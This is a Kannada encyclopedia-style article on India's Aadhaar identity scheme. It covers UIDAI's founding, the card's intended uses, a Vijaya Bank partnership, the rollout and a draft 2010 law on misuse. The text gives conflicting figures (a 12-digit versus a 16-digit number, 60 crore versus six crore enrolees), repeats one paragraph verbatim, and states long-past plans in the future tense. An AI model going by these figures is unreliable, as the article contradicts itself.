ಅರ್ಥವನ್ನು ನೀಡುವ ಮತ್ತು 'ಆಧಾರ್‌' ಎಂಬುದಾಗಿ ಕರೆಯಲ್ಪಟ್ಟಿರುವ ಯೋಜನೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಒಂದು ಹೊಸ ಹೆಸರು ಮತ್ತು ಲಾಂಛನವನ್ನು ಅವರು ಪ್ರಕಟಿಸಿದ್ದಾರೆ. ಭಾರತೀಯ ವಿಶಿಷ್ಟವಾದ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ಅಥವಾ UIDAI, ಭಾರತೀಯ ನಿವಾಸಿಗಳಿಗೆಲ್ಲಾ ೧೨ ಅಂಕಗಳ ಸಂಖ್ಯೆಯುಳ್ಳ 'ಗುರುತಿನ-ಪತ್ರ' ನೀಡುವ ಮಹದಾಂಕ್ಷೆಯ ಯೋಜನೆ ’ಆಧಾರ್, ಏಪ್ರಿಲ್ ೨೬, ೨೦೧೦ ರಂದು, ಪುನರ್ನಿರ್ಮಾಣವಾಗಿದೆ. ಯೋಜನೆಯ ಅನುಷ್ಠಾನಕ್ಕೆ ಅನುಕೂಲವಾಗುವಂತೆ ೨೦೧೧ ನೇ ಇಸವಿಯ ಜನಗಣತಿಯ ವೇಳೆಯಲ್ಲಿ 'ಪ್ರತಿಯೊಬ್ಬ ಭಾರತೀಯನ ಎಲ್ಲಾ ಹತ್ತು ಬೆರಳುಗಳ ಬೆರಳಚ್ಚುಗಳನ್ನು ಪಡೆಯಲಾಗುತ್ತದೆ', ಹಾಗೂ 'ಕಣ್ಣಿನ ಸ್ಕ್ಯಾನಿಂಗ್' ಮಾಡಲಾಗುತ್ತದೆ. 'ಪ್ರತಿಯೊಬ್ಬರನ್ನೂ ಹದಿನಾರು ಅಂಕೆಗಳ ಒಂದು ಸಂಖ್ಯೆ ಮೂಲಕ ಗುರುತಿಸಲಾಗುವಂತೆ ವ್ಯವಸ್ಥೆ ಮಾಡಲಾಗಿದೆ'. ಮುಂದಿನ ನಾಲ್ಕೈದು ವರ್ಷಗಳಲ್ಲಿ ಕನಿಷ್ಟಪಕ್ಷ ಭಾರತದ ೬೦ ಕೋಟಿ ಜನತೆ, ಮೇಲೆತಿಳಿಸಿರುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಧಾಖಲಿಸಿರುವ ಗುರುತು ಚೀಟಿಯನ್ನು ಪಡೆಯಲಿದ್ದಾರೆ. ಎಲ್ಲಾ ಪ್ರಮುಖ ದಾಖಲಾತಿಗಳಲ್ಲೂ ಅದು ಮುಖ್ಯಸ್ಥಾನ ಪಡೆದುಕೊಳ್ಳಲಿದೆ.<ref name=AboutUIDAI>{{cite web|title=About UIDAI|url=https://uidai.gov.in/about-uidai/about-uidai.html|publisher=UIDAI|access-date=25 July 2017}}</ref> [[File:Aadhaar Seva Kendra, Bhopal.jpg|thumb|350px|]] == ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ == ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ (UIDAI) ಒಂದು ಶಾಸನಬದ್ಧ ಪ್ರಾಧಿಕಾರ ಮತ್ತು ಸರ್ಕಾರಿ ಇಲಾಖೆಯಾಗಿದ್ದು, ಆಧಾರ್ ಕಾಯಿದೆ 2016 ರ ನಿಬಂಧನೆಗಳನ್ನು ಅನುಸರಿಸಿ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ಮತ್ತು ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಸಚಿವಾಲಯದ ವ್ಯಾಪ್ತಿಯ ಅಡಿಯಲ್ಲಿ ಭಾರತ ಸರ್ಕಾರವು 12 ಜುಲೈ 2016 ರಂದು ಸ್ಥಾಪಿಸಲಾಗಿದೆ.<ref name=AboutUIDAI/> == ಸ್ವರೂಪ == ಭಾರತದ ಒಂದು ಶತಕೋಟಿಗೂ ಮಿಕ್ಕಿದ ನಾಗರಿಕರ ಹಾಗೂ ಭವಿಷ್ಯದಲ್ಲಿ ಜನನವಾಗಲಿರುವ ಮಕ್ಕಳ ಗಣನೆಯನ್ನು ಸರಿಹೊಂದಿಸುವ ದೃಷ್ಟಿಯಿಂದ, ಸದರಿ ID ವ್ಯವಸ್ಥೆಯು ಒಂದು ಬೃಹತ್‌‌ ಅಕ್ಷರಸಂಖ್ಯಾಯುಕ್ತ ಸರಣಿಯಾಗಿ ಮಾರ್ಪಡುವ ಸಾಧ್ಯತೆಯಿದೆ. 16 ಕೆಬಿ ಅಥವಾ 64 ಕೆಬಿ ಸಾಮರ್ಥ್ಯದ ಒಂದು ಸಂಗ್ರಹಣಾ ಬಿಲ್ಲೆಯನ್ನು ಈ ಕಾರ್ಡಿನಲ್ಲಿ ಅಳವಡಿಸುವ ಸಾಧ್ಯತೆಯಿದೆ.ಒಂದು ಛಾಯಾಚಿತ್ರ ಮತ್ತು ಜೀವಸಂಖ್ಯಾಶಾಸ್ತ್ರದ ದತ್ತಾಂಶವನ್ನು ಸೇರ್ಪಡೆ ಮಾಡುವ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಹಂತಹಂತವಾಗಿ ಯೋಜಿಸಲಾಗುವುದು.<ref>[http://www.igovernment.in/site/Unique-ID-for-all-Indian-citizens-soon/ ]</ref> == ಉದ್ದೇಶ ಮತ್ತು ಬಳಕೆ == ಭಾರತೀಯ ನಾಗರಿಕರನ್ನು ಗುರುತಿಸುವುದಕ್ಕಾಗಿ ಸದರಿ IDಯನ್ನು ಮೂಲಭೂತವಾಗಿ ಸಿದ್ಧಗೊಳಿಸಲಾಗುತ್ತಿದ್ದು, ಇದರಿಂದ ಅಕ್ರಮ ವಲಸೆಗಾರರು ಮತ್ತು ಭಯೋತ್ಪಾದಕರನ್ನು ಗುರುತಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆಯಾದ್ದರಿಂದ ದೇಶಕ್ಕೆ ಹಾಗೂ ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಉತ್ತಮ ಭದ್ರತೆಯನ್ನು ಒದಗಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ಆದಾಗ್ಯೂ, ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಗುರುತಿನ ಪ್ರತಿಷ್ಠಾಪನೆಯ ಸುಗಮತೆಯನ್ನು ಒದಗಿಸುವಲ್ಲಿನ ಅದರ ಸಾಮರ್ಥ್ಯದಲ್ಲಿ ಈ IDಯ ನಿಜವಾದ ಶಕ್ತಿಯು ಅಡಗಿದೆ; ವೈವಿಧ್ಯಮಯವಾದ ಸರ್ಕಾರಿ ಮತ್ತು ಖಾಸಗಿ-ವಲಯ ಸೇವೆಗಳಿಗೆ ಭಾರತೀಯ ನಾಗರಿಕರು ಸಂಪರ್ಕ ಹೊಂದಲು ಇದು ಅವಕಾಶ ಕಲ್ಪಿಸುತ್ತದೆ. ಹೊಸ ID ವ್ಯವಸ್ಥೆಯಿಂದ ನಾಗರಿಕರಿಗೆ ದೊರಕುವ ಸಂಭವನೀಯ ಪ್ರಯೋಜನಗಳಲ್ಲಿ ಈ ಕೆಳಗಿನವು ಸೇರಿವೆ: 1) ಅರ್ಹತೆ ಹೊಂದಿರುವ ಜನರು ಆಹಾರ, ಶಕ್ತಿ, ಶಿಕ್ಷಣ, ಇತ್ಯಾದಿ ಸವಲತ್ತುಗಳನ್ನು ಸ್ವೀಕರಿಸುವಂತಾಗಲು ಈ ವಲಯಗಳ ಮೇಲೆ ನೀಡುವ ಅನುದಾನಗಳು. 2) ಬ್ಯಾಂಕ್‌ ಖಾತೆಗಳ ತೆರೆಯುವಿಕೆ 3) ಹೊಸ ದೂರವಾಣಿ, ಮೊಬೈಲ್‌ ಅಥವಾ ಅಂತರ್ಜಾಲ ಸಂಪರ್ಕಗಳನ್ನು ಪಡೆಯುವಿಕೆ, 4) ಹೊಸ ದೀಪ ಅಥವಾ ಅನಿಲ ಸಂಪರ್ಕಗಳು 5) ರಹದಾರಿಯೊಂದನ್ನು (ಪಾಸ್‌ಪೋರ್ಟ್‌) ಪಡೆಯುವಿಕೆ 6) ಇದೇ ಕಾರ್ಡು ಒಂದು ಚಾಲನಾ ಪರವಾನಗಿಯಂತೆಯೂ ಕಾರ್ಯನಿರ್ವಹಿಸಬಹುದು ನೀವು ಮಾಡಿದ ಸಂಚಾರಿ ಉಲ್ಲಂಘನೆಯ ದಾಖಲೆಗಳನ್ನು ಶೇಖರಿಸಿಟ್ಟುಕೊಳ್ಳಬಹುದು 7) ಇದು ನಿಮ್ಮ ಮತದಾರರ ಕಾರ್ಡ್‌ ಆಗಿಯೂ ಪಾತ್ರವಹಿಸಬಹುದು 8) ಇದರಿಂದ ಕುಟುಂಬ ವಂಶಾನ್ವೇಷಣೆಯ ಜಾಡುಹಿಡಿಯಬಹುದು ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. == ಅನುಷ್ಠಾನ == ಮೊದಲ ಹಂತದಲ್ಲಿ, ಆಂಧ್ರಪ್ರದೇಶ, ಗುಜರಾತ್‌‌, ಪಶ್ಚಿಮ ಬಂಗಾಳ, ಕೇರಳ, ಗೋವಾ, ಕರ್ನಾಟಕ, ತಮಿಳುನಾಡು, ಮಹಾರಾಷ್ಟ್ರ ಮತ್ತು ಒಡಿಶಾ ರಾಜ್ಯಗಳ ತೀರಪ್ರದೇಶದ ಹಳ್ಳಿಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಿರುವ ಜನರಿಗೆ UIDಯನ್ನು ನೀಡಲಾಗುತ್ತದೆ. ಕೇಂದ್ರಾಡಳಿತ ಪ್ರದೇಶಗಳಾದ ಪುದುಚೇರಿ, ಅಂಡಮಾನ್‌ & ನಿಕೋಬಾರ್‌ ದ್ವೀಪಗಳು, ದಾದರ್‌ ಮತ್ತು ನಗರ್‌ ಹವೇಲಿ ಮಾತ್ರವೇ ಅಲ್ಲದೇ ಲಕ್ಷದ್ವೀಪವನ್ನೂ ಸಹ ಮೊದಲ ಹಂತದ ಯೋಜನೆಯಲ್ಲಿ ಪರಿಗಣಿಸಲಾಗುವುದು. 2010ರ ಆರಂಭದ ವೇಳೆಗೆ ಮೊದಲ ಗುಂಪಿನ ಕಾರ್ಡುಗಳು ವಿತರಿಸಲ್ಪಡುತ್ತವೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ.<ref name="business-standard.com" /> 2011ರ ಫೆಬ್ರುವರಿ ವೇಳೆಗೆ ಆಧಾರ್‌ (UID) ಸಂಖ್ಯೆಯು ಅನುಷ್ಠಾನಗೊಳ್ಳಲಿದೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ ಮತ್ತು ಭವಿಷ್ಯದಲ್ಲಿ PAN ಕಾರ್ಡುಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDಯ ಬಳಕೆಯನ್ನು ಕಡ್ಡಾಯಗೊಳಿಸುವುದರ ಕುರಿತಾಗಿಯೂ ಹಣಕಾಸು ಖಾತೆ ಅಧಿಕಾರಿಗಳು ಭರವಸೆಯನ್ನು ಹೊಂದಿದ್ದು, ಇದು ನಕಲಿ PAN ಕಾರ್ಡುಗಳ ಹಬ್ಬುವಿಕೆಯನ್ನು ನಿಗ್ರಹಿಸುವಲ್ಲಿ ನೆರವಾಗಲಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತಿದೆ. == ಯೋಜನೆಯ ಆರಂಭ == UPA ಅಧ್ಯಕ್ಷೆ ಸೋನಿಯಾ ಗಾಂಧಿ, ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿ ಮನ್‌ಮೋಹನ್‌ ಸಿಂಗ್‌, ಅಶೋಕ್ ಚವ್ಹಾಣ್, K. ಶಂಕರ್‌ನಾರಾಯಣನ್‌ ಮತ್ತು UIDAI ಮುಖ್ಯಸ್ಥ ನಂದನ್‌ ನಿಲೇಕಣಿ ಇವರುಗಳಿಂದ ಆಧಾರ್‌ ಯೋಜನೆಯು ಇತ್ತೀಚೆಗಷ್ಟೇ ಆರಂಭಿಸಲ್ಪಟ್ಟಿತು; ಮಹಾರಾಷ್ಟ್ರದ ತೆಂಬ್ಲಿ ಎಂಬ ಹಳ್ಳಿಯಲ್ಲಿ 10 ಆದಿವಾಸಿಗಳಿಗೆ ಈ ವಿಶಿಷ್ಟ IDಯನ್ನು ಒದಗಿಸುವ ಮೂಲಕ ಇದಕ್ಕೆ ಚಾಲನೆ ದೊರೆಯಿತು ಎಂಬುದು ಗಮನಾರ್ಹ ಅಂಶ. ಭಾರತದಲ್ಲಿನ ಸದರಿ ವಿಶಿಷ್ಟ ID ಯೋಜನೆಗಳ ಪ್ರಯೋಜನಗಳು ಮತ್ತು ಸಕಾರಾತ್ಮಕ ಫಲಿತಾಂಶಗಳ ಕುರಿತಾಗಿ UPA ಅಧ್ಯಕ್ಷೆ ಮತ್ತು ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರು ಈ ಸಂದರ್ಭದಲ್ಲಿ ಮಾತನಾಡಿದರು. ನಾಲ್ಕು-ವರ್ಷ-ವಯಸ್ಸಿನ ಹಿತೇಶ್ ಸೋನವಾನೆ ಎಂಬಾತ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರಿಂದ UID ಕಾರ್ಡನ್ನು ಸ್ವೀಕರಿಸಿದ ಅತಿಕಿರಿಯ ಸದಸ್ಯ ಎನಿಸಿಕೊಂಡರೆ, ರಂಜನಾ ಸೋನವಾನೆ ಎಂಬುವವರು ಆಧಾರ್‌ ಯೋಜನೆಯ ಮೂಲಕ UID / ವಿಶಿಷ್ಟ ID ಕಾರ್ಡನ್ನು ಪಡೆಯುವಲ್ಲಿನ ಮೊದಲ ಭಾರತೀಯಳು ಎನಿಸಿಕೊಂಡರು. ==ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦== '''ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦''' ಸಂಸದ್ ನಲ್ಲಿ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. * ಸಂಖ್ಯೆಯ ದುರ್ಬಳಕೆ ತಡೆಗೆ ತೆಗೆದುಕೊಂಡ ವಿಶೇಷ ಕ್ರಮದ ನಿಟ್ಟಿನಲ್ಲಿ, ಒಂದು ಕರಡು ಮಸೂದೆ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. ಪ್ರತಿಕ್ರಿಯೆಗಾಗಿ ಸಾರ್ವಜನಿಕರ ಅಭಿಪ್ರಾಯಕ್ಕಾಗಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ. ಜತೆಗೆ ಪ್ರಾಧಿಕಾರವನ್ನು ಸಂವಿಧಾನಿಕ ಸಂಸ್ಥೆಯನ್ನಾಗಿ ಮಾನ್ಯ ಮಾಡುವುದು ಈ ಮಸೂದೆಯ ಉದ್ದೇಶವಾಗಿದೆ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ (ಯುಐಡಿಎಐ) ನೀಡುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ದುರುಪಯೋಗ ಮಾಡಿಕೊಳ್ಳುವವರ ವಿರುದ್ಧ ಕಠಿಣ ಕ್ರಮಕ್ಕೆ ಒಳಪಡಿಸಲು ಸಿದ್ಧತೆ ನಡೆಸಿದೆ. ದುರುಪಯೋಗ ಸಾಬೀತಾದರೆ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಎಂದು ಪ್ರಾಧಿಕಾರದ ಹಿರಿಯ ಅಧಿಕಾರಿಯೊಬ್ಬರು ತಿಳಿಸಿದರು. * ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಪ್ರಾಧಿಕಾರದಲ್ಲಿದ್ದುಕೊಂಡು ಅಲ್ಲಿರುವ ಮಾಹಿತಿಯನ್ನು ಬಹಿರಂಗಗೊಳಿಸಿದರೆ, ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸಿದರೆ, ಅಕ್ರಮವಾಗಿ ಕಾರ್ಯ ನಿರ್ವಸಿದರೆ ಅಂತಹ ಅಪರಾಧಗಳಿಗೆ ಕಠಿಣ ಕ್ರಮ, ದಂಡ ವಿಧಿಸಲು ಉದ್ದೇಶಿತ ಕರಡು ಮಸೂದೆಯಲ್ಲಿ ಅವಕಾಶ ಇದೆ. * ಒಂದೊಮ್ಮೆ ಪ್ರಾಧಿಕಾರದ ಕೆಲಸ ವಹಿಸಿಕೊಂಡ ಕಂಪನಿಯೇ ಈ ಕೃತ್ಯ ಎಸಗಿದರೆ ಒಂದು ಲಕ್ಷದ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಮಾಹಿತಿ ಬ್ಯಾಂಕ್‌ಗೆ ಅಕ್ರಮ ಪ್ರವೇಶ ಮಾಡಲು ಯತ್ನಿಸಿದರೆ ಅಂತಹವರಿಗೆ ಮೂರು ವರ್ಷದ ವರೆಗೆ ಜೈಲು ಶಿಕ್ಷೆ ಅಥವಾ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. * ಆದರೆ ನಿಗದಿತ ನ್ಯಾಯಾಲಯಗಳು ಇಂತಹ ಮಾಹಿತಿ ಕೇಳಿದರೆ ಅದನ್ನು ನೀಡಬಹುದಾಗಿದೆ. ರಾಷ್ಟ್ರದ ಹಿತದೃಷ್ಟಿಯಿಂದ ಮಾತ್ರ ವೈಯಕ್ತಿಕ ವಿಷಯಗಳ ಮಾಹಿತಿಯನ್ನು ನೀಡಲಾಗುವುದು. ಅದೂ ಸಂಬಂಧಿಸಿದ ಇಲಾಖೆಯ ಸಚಿವಾಲಯದಿಂದ ಅನುಮತಿ ಪಡೆದರೆ ಮಾತ್ರವೇ ಮಾಹಿತಿ ನೀಡಲಾಗುವುದು. * ಕರಡು ಮಸೂದೆ ಬಗ್ಗೆ ಸಾರ್ವಜನಿಕರಿಂದ ಬರುವ ಅಭಿಪ್ರಾಯಗಳನ್ನು ಆಧರಿಸಿ ಸಂಸತ್‌ನ ಮುಂಗಾರು ಅಧಿವೇಶನದಲ್ಲಿ ಮಂಡಿಸಲಾಗುವುದು ಎಂದೂ ಅಧಿಕಾರಿಗಳು ತಿಳಿಸಿದ್ದಾರೆ.ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಮೊದಲಿಗೆ ೨೦೧೦ ರ ಆಗಸ್ಟ್ ಮತ್ತು ೨೦೧೧ ರ ಫೆಬ್ರುವರಿ ನಡುವೆ ಸಾರ್ವಜನಿಕರಿಗೆ ನೀಡಲಾಗುವುದು. ಮುಂದಿನ ನಾಲ್ಕು ವರ್ಷಗಳಲ್ಲಿ ಆರು ಕೋಟಿ ಜನರಿಗೆ ಈ ಸಂಖ್ಯೆಯನ್ನು ನೀಡುವ ಉದ್ದೇಶ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ಇದೆ. == ಇವನ್ನೂ ಗಮನಿಸಿ == * ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಸಂಖ್ಯೆ * 